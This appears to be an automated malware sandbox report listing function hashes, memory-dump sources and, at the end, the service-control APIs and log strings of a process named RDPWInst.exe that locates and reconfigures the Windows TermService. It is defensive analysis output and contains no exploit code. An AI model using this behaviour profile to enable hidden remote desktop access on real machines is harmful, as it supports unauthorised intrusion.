String ID:
API String ID:
Opcode ID: 0ebc66bd008e10eb9e3557dec1ab86b6f1d6577034fe3cdc612dc408fcff4abd
Instruction ID: fefda319fa76bce0271a38b72667d180b16f92fd7eecdc69461acba11937ad1d
Opcode Fuzzy Hash: 0ebc66bd008e10eb9e3557dec1ab86b6f1d6577034fe3cdc612dc408fcff4abd
Instruction Fuzzy Hash: DBE065323516114BC312BB6EA84057F77DAEBC47607548469E155C7348EF70E8094BD0

Function 026C11DC Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981f7dec912fcc124e961541107a2e87b6fe3f6aa929450312dd228837834107
Instruction ID: cb339c3015b8ad36fca0fa1cf32174f6fb26351907be2338a9ea48002bb0b35d
Opcode Fuzzy Hash: 981f7dec912fcc124e961541107a2e87b6fe3f6aa929450312dd228837834107
Instruction Fuzzy Hash: EEF0E5789493448FCB02FBB8ED900697BA0EA9270870046EAC048CB33EE764D94AD741

Function 026C6AC0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9903b12af78abfe17ae14ad85c2bbdfa0527632048db0bd9938dd7447bfbf13
Instruction ID: 347c13c8d0635e92438d66fecfa88398a03f68c1e26e8414b79a1b7f5a4cfc0b
Opcode Fuzzy Hash: d9903b12af78abfe17ae14ad85c2bbdfa0527632048db0bd9938dd7447bfbf13
Instruction Fuzzy Hash: F4E0D8353007248BC705B76DF8244A9375FD7C46A97004467E80A83368EFF05C819792

Function 026C0E0F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461a846acdec86e95bdc8212b518762a49e378e4f47b06d72e8d3331d528642c
Instruction ID: a09bc7cc5aabb00f547c8c85a495464d562e773560758e660d0809bbc8918747
Opcode Fuzzy Hash: 461a846acdec86e95bdc8212b518762a49e378e4f47b06d72e8d3331d528642c
Instruction Fuzzy Hash: C9E0D87255914DAFC711CFB09D019AE7BA9CB05104F1405FFDC0DC7682EA31C905D751

Function 026C2BF8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e52e014e5e902d2e72edcb7e18fb913ed8e058c498ccf79b37924707cb6d6f
Instruction ID: 0efd8322b55894d7b3e6cbdd004f4338bec0e8640adff7df096b259184fff021
Opcode Fuzzy Hash: 99e52e014e5e902d2e72edcb7e18fb913ed8e058c498ccf79b37924707cb6d6f
Instruction Fuzzy Hash: 6CE0DF3430D5921FC316E3B8B86266D7BA6DB85200B08469BE08ACB697DA158C06C7C6

Function 026C1180 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d5268373d21cf36e872bb9b6dadce7cc41eb957093b735dacc4d9a75b630c85
Instruction ID: 0b3c7c7466d6c227ba825fc78ed951594a95496d03cff336bb92eb01643fa0cb
Opcode Fuzzy Hash: 9d5268373d21cf36e872bb9b6dadce7cc41eb957093b735dacc4d9a75b630c85
Instruction Fuzzy Hash: 88E0ED745016099FCB01EFBCEA50A4DBBB9E784708B108AB6D41887328E770AE49DF91

Function 026C8551 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5308f5d0acbc615727ac1d4c03dc63b3616f74a7788283efb8f03c190d75c88
Instruction ID: f040bd528c9783a38bb8eaa5dda31a35cd73cbf0a3cbe2965c8b29defe2f5a8f
Opcode Fuzzy Hash: b5308f5d0acbc615727ac1d4c03dc63b3616f74a7788283efb8f03c190d75c88
Instruction Fuzzy Hash: C6E0D831A062059FCB35DF56D8409FAFBF1FF44650B20865AE04A93461D7316946CB50

Function 026C2A60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f548d62318b7896b9cd28bac81c2a91fefafd11d57a0a516e18203b5c0fbb66
Instruction ID: f6db94dc4e46f7b0cdc2de0866f6ff1699b5649430f26d65b70861b634d079b3
Opcode Fuzzy Hash: 2f548d62318b7896b9cd28bac81c2a91fefafd11d57a0a516e18203b5c0fbb66
Instruction Fuzzy Hash: FAE08637200128EBCF025F94E8109A5BF6AEB49655B1D809AFA088B151C723D812EBD9

Function 026C3EF8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d624c2b8043629563beb79a9ac7cd227532f0ca61319a4c833ebdabfd814e2
Instruction ID: 123bb62c6a72283e7ca648eae1e7e07805c78e2af4feda779f35066a0a5da4b1
Opcode Fuzzy Hash: 88d624c2b8043629563beb79a9ac7cd227532f0ca61319a4c833ebdabfd814e2
Instruction Fuzzy Hash: 71E092305092899FC701DB74A9A10AC7FF2DE8630070404EAD444C7217D6311E15EB40

Function 026C8D10 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9aea86eff5b70bfce191061de968f8c319c8d3c3f3dd0dea0fbd79dd4cfa79b
Instruction ID: 9db9ec6721a6d8842616449478020e268ef5d63e8a8954f95c2916025ec3ee22
Opcode Fuzzy Hash: d9aea86eff5b70bfce191061de968f8c319c8d3c3f3dd0dea0fbd79dd4cfa79b
Instruction Fuzzy Hash: 2CE092305061849FCB01EBF4EA6617CBFB1EE4620470444DAD844D7352DB304F019741

Function 026C6ABA Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055865829cb2edb40de5d1497e611236bff36c143235e337fe1e19f8001f6cec
Instruction ID: ce3dc78eb2e2e83e30b920adeeb6968cf9b50d92c68b0cd98ec7580184c099ec
Opcode Fuzzy Hash: 055865829cb2edb40de5d1497e611236bff36c143235e337fe1e19f8001f6cec
Instruction Fuzzy Hash: A7D0C23424A3104BC305B378F9215B43F699B8525470441AED80683766DAD04C829742

Function 026C8F1B Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92e91231c978b987a760cee94774656dec3b30bd62fb049bf3c5ecbc87d23211
Instruction ID: ac43a937c61969dd9aed260fca59ccc90924633e105f4e7d4fda8ae80c2d0a57
Opcode Fuzzy Hash: 92e91231c978b987a760cee94774656dec3b30bd62fb049bf3c5ecbc87d23211
Instruction Fuzzy Hash: 9CD0124110F6C00FE70362721FF60D52FB59C8304071E80CBD4C0DBD93D804429BA321

Function 026C1AF0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412f28154b9d010cb893682d4daddb7061f57828fbfa5a3bbeceab5f368cf9f2
Instruction ID: 6cd0dde3ad0eb00f02f9a5fe5eb440d6d989b74281bc56544e286b6edb6ea129
Opcode Fuzzy Hash: 412f28154b9d010cb893682d4daddb7061f57828fbfa5a3bbeceab5f368cf9f2
Instruction Fuzzy Hash: 3AD0A9323000249FC604B6FDE44489E37DEAFCA652BA000A9E009CF3A5CE21EC0207C5

Function 026C2C08 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5cd3e3ba438383c2159d2f74108b6137fc2866d7541d63b59665df8a7518580
Instruction ID: c75a6bca728a5ddf0bf0f3ac0622d5e4b0faf27a21ed847a10150793eae01f25
Opcode Fuzzy Hash: e5cd3e3ba438383c2159d2f74108b6137fc2866d7541d63b59665df8a7518580
Instruction Fuzzy Hash: 51D0A7313004265BC214B3BCB87055E339ED7C46513000966F10ACB354DE159D0197DA

Function 026C1038 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c8f7ff3ff1a37b50e779088cfd421ec7de33dca687a7bb8b58870dd3715554
Instruction ID: 3401f156ce05d1e0a19e1dfd0f16bb2bd6028c5a21b781e8accd3fa5fa70d7fb
Opcode Fuzzy Hash: 75c8f7ff3ff1a37b50e779088cfd421ec7de33dca687a7bb8b58870dd3715554
Instruction Fuzzy Hash: 21D0C771D01248AFDB01DFB4C90436C7BF8EB01200F2004DAE848CB211DA309E40C780

Function 026C46E0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc74e92751b66f38c7241de3d56c88d2d48d290816473484dc8476ac33c0dd8d
Instruction ID: e30ef7d1c84848f71e9f5713d867dce62475aa5a917ea4a1004eabdb8e9d077f
Opcode Fuzzy Hash: cc74e92751b66f38c7241de3d56c88d2d48d290816473484dc8476ac33c0dd8d
Instruction Fuzzy Hash: 0BD05E30200604CFCB54BBB8D46896873BABFCC705B0448AAE409973B4CE32E801DA85

Function 026C3F08 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452aef4b1e49cf70b161669d128c5354710b8e73c1c2a5e54ecd792c17f94e6a
Instruction ID: c5e5c0bec5c5a080ef23101e5d51f8697377da024ca09a26f5c106a62a8b4eda
Opcode Fuzzy Hash: 452aef4b1e49cf70b161669d128c5354710b8e73c1c2a5e54ecd792c17f94e6a
Instruction Fuzzy Hash: 3DD05E71A0120EEFCB00EFB9E94159DB7FAEB48300B1045A9E408D7315EB316F00EB90

Function 026C8D20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6400361c7401d1075494bb9a93c34a2ed62523ecbfd60dbbc052b298d9bb8adb
Instruction ID: c361bf19ee1f413e7ab61afebce099c097b9fef23e04509f4f60c649af4fa716
Opcode Fuzzy Hash: 6400361c7401d1075494bb9a93c34a2ed62523ecbfd60dbbc052b298d9bb8adb
Instruction Fuzzy Hash: EBD01730A12109EF8B00FFA8E94156DBBB9EB44304B1045A9E808D7340EE716F009B80

Function 026C7FE3 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1ed7c92038ca3a410d3005bd39e50844c723a48769221f9bc0fdccb1d145db
Instruction ID: c20fb076c489f85b4596e19759c919b7586cacafa0110d64c214c7277e190ea3
Opcode Fuzzy Hash: 4e1ed7c92038ca3a410d3005bd39e50844c723a48769221f9bc0fdccb1d145db
Instruction Fuzzy Hash: D8D0A7310162D08AE3026F3689503657F15EF41281F19409FD0508B1A2C729C484C751

Function 026C46F0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5343061ac3443245c22e7816803fd01e57f0c58d722203ab447ebc736a1298d4
Instruction ID: ea76e9dc9eddc0326fec2c8159f4cf08b8608f5d4a0763e6750735b38f31b156
Opcode Fuzzy Hash: 5343061ac3443245c22e7816803fd01e57f0c58d722203ab447ebc736a1298d4
Instruction Fuzzy Hash: 18D0C935300604CFC708AF78D45881473A6BB8C61531048A9E80A87335DA31EC42CA40

Function 026C8469 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97cc5268aa39d0ab6acecc3136e6f8126935b09e9e3da3588d6a72d07603aa1d
Instruction ID: cfa59b8094fc650abc3d74cea4709ba131e9eca6a18d50992d9ea10b93902005
Opcode Fuzzy Hash: 97cc5268aa39d0ab6acecc3136e6f8126935b09e9e3da3588d6a72d07603aa1d
Instruction Fuzzy Hash: 88D0C97054510A9BE726BB50E62A7BEBA61AF14605F700419D002A2280CF7506068A96

Function 026C856F Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28489ce6bc4226ca3a4625340c51055ac9410516aa311275f47ddf3ceb6f5534
Instruction ID: 1dcfc85cab42d559dc44c89eb9da216b6bf36a8c1cc9a26182aa1c0a6e7a130c
Opcode Fuzzy Hash: 28489ce6bc4226ca3a4625340c51055ac9410516aa311275f47ddf3ceb6f5534
Instruction Fuzzy Hash: D3C08C36A6A008DF8A14E6C0F89A0FCB375ED80261B6001A3F107A3440B3730A2BC6A0

Function 026C4A48 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37116c2bb786810703661764229bb016301e37c56bf77239bf144da4a24e9464
Instruction ID: 1d51383b52044b20abba096dcd7a3eb8c56a19e0de3250ad65c7a44fbb9387c2
Opcode Fuzzy Hash: 37116c2bb786810703661764229bb016301e37c56bf77239bf144da4a24e9464
Instruction Fuzzy Hash: DFD0C93110AA908FCF46AB68ED299017F31A7913003158AEAE0508B0F6D2766450E711

Function 026C0DCB Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 399e1f14668a08e6b6c00144f1d4f950011be3198affffd4e7139ae1504a4198
Instruction ID: e3035e1df7ffdbc822d593d919369507016f68dfc9301ef73b291b06a96b9eaf
Opcode Fuzzy Hash: 399e1f14668a08e6b6c00144f1d4f950011be3198affffd4e7139ae1504a4198
Instruction Fuzzy Hash: 27B0123BB400199ACB00D6C8F4504ECFB30EBD4332F004033C300620008B31157AC760

Function 026C0850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210e9e754b78e13ed09a5a5e818c1db8fb79b948be98f483f6130779a87d58f7
Instruction ID: 43863cd531811c8fbba60a6bece016c3add4cc08db68bbdb5539ef3244cf2977
Opcode Fuzzy Hash: 210e9e754b78e13ed09a5a5e818c1db8fb79b948be98f483f6130779a87d58f7
Instruction Fuzzy Hash: 2690023106660C8B454027A57809595B75D95455267810052A54E815119AA5B4505595

Non-executed Functions

Function 026CDBC0 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\VQl, xrefs: 026CDE77

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: \VQl
API String ID: 0-789216354
Opcode ID: a5e928ff7173fa9e521c0c0c1d45bce0f1b09bbb0ce96fe8bf7b5169d20fbdae
Instruction ID: 0f3f06ac84f7890ad956f64cbc698a94c5ab19b1e49ff1117aba024cb2f7b5ad
Opcode Fuzzy Hash: a5e928ff7173fa9e521c0c0c1d45bce0f1b09bbb0ce96fe8bf7b5169d20fbdae
Instruction Fuzzy Hash: 67B10AB0E00209DFDB14EFA9D9857ADBBF2EB88314F24813DD415A7394EB749846CB85

Function 026CD878 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\VQl, xrefs: 026CDAC3

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: \VQl
API String ID: 0-789216354
Opcode ID: 55966d18672df7961a7c77ee2f0bbff2cf340a03635dab6d0b12be371c2d2f82
Instruction ID: ee318541b9020840bc9e2f7715c984dcf4361cb49061047b3ce07269c4511330
Opcode Fuzzy Hash: 55966d18672df7961a7c77ee2f0bbff2cf340a03635dab6d0b12be371c2d2f82
Instruction Fuzzy Hash: 7D915EB0E002099FDB14EFA9D9857ADBBF2EF88314F24813DE405A7354EB749846CB85

Function 026CE490 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cf72f0d594125a9510965c354537f86d848f9b757524a39cf9f49155ceb6b2b
Instruction ID: 747a9e20c76aa2d1449908392fea26656e09e0bfd8d317761a2a2eed55240b48
Opcode Fuzzy Hash: 2cf72f0d594125a9510965c354537f86d848f9b757524a39cf9f49155ceb6b2b
Instruction Fuzzy Hash: 06B17C70E002098FDB10EFA9D9857AEBBF2EF88314F24812DD415E7394EB769845CB91

Analysis Process: RDPWInst.exePID: 7812, Parent PID: 7764COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 0043B7D4 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 336
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B953
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B95D
GetLastError.KERNEL32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B962
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Strings

$sD, xrefs: 0043B819, 0043B8CA, 0043B96F, 0043BA28, 0043BA5A, 0043BAA8, 0043BBED, 0043BC13
[-] Failed to set up TermService. Unknown error., xrefs: 0043BA5F
[*] Shared services found: , xrefs: 0043BBF2
ServicesActive, xrefs: 0043B7FA
[*] No shared services found., xrefs: 0043BC18
[-] OpenSCManager error (code , xrefs: 0043B81E
[-] EnumServicesStatusEx error (code , xrefs: 0043B8CF, 0043B974
[-] TermService not found., xrefs: 0043BA2D
TermService, xrefs: 0043B9E3, 0043BA7D, 0043BA8C
[+] TermService found (pid , xrefs: 0043BAAD

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastService$EnumServicesStatus$ManagerOpen
String ID: $sD$ServicesActive$TermService$[*] No shared services found.$[*] Shared services found: $[+] TermService found (pid $[-] EnumServicesStatusEx error (code $[-] Failed to set up TermService. Unknown error.$[-] OpenSCManager error (code $[-] TermService not found.
API String ID: 2770857348-2470772499
Opcode ID: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction ID: fb74497bf6b161f68451673f63bd6f491a4d1cb4b87c09a1aee9fb4a9c308b37
Opcode Fuzzy Hash: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction Fuzzy Hash: A1C15074A041049BD710FBB9DD42B5E76A5EB89308F11507FF640BB292CB3CAD058BAE

Function 0043B1A8 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 118
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B1FE
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B209
OpenServiceW.ADVAPI32(00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000), ref: 0043B24F
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B25B
GetLastError.KERNEL32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B260

Strings

$sD, xrefs: 0043B1CA, 0043B216, 0043B26D, 0043B2CD
ServicesActive, xrefs: 0043B1F7
[-] OpenSCManager error (code , xrefs: 0043B21B
[-] ChangeServiceConfig error (code , xrefs: 0043B2D2
..., xrefs: 0043B1E1
[*] Configuring , xrefs: 0043B1CF
[-] OpenService error (code , xrefs: 0043B272

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Configuring $[-] ChangeServiceConfig error (code $[-] OpenSCManager error (code $[-] OpenService error (code
API String ID: 48634454-398082305
Opcode ID: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction ID: ec3001641675e227f0f71ffcc16d431bf32a474d6a16b1f18b89db5f0a2815a5
Opcode Fuzzy Hash: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction Fuzzy Hash: 32318DA4708210AAE611B7B68D43B2F6598DF8D308F12917BB614A6693CB3C9D0195BF

Function 0043B58C Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 107
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
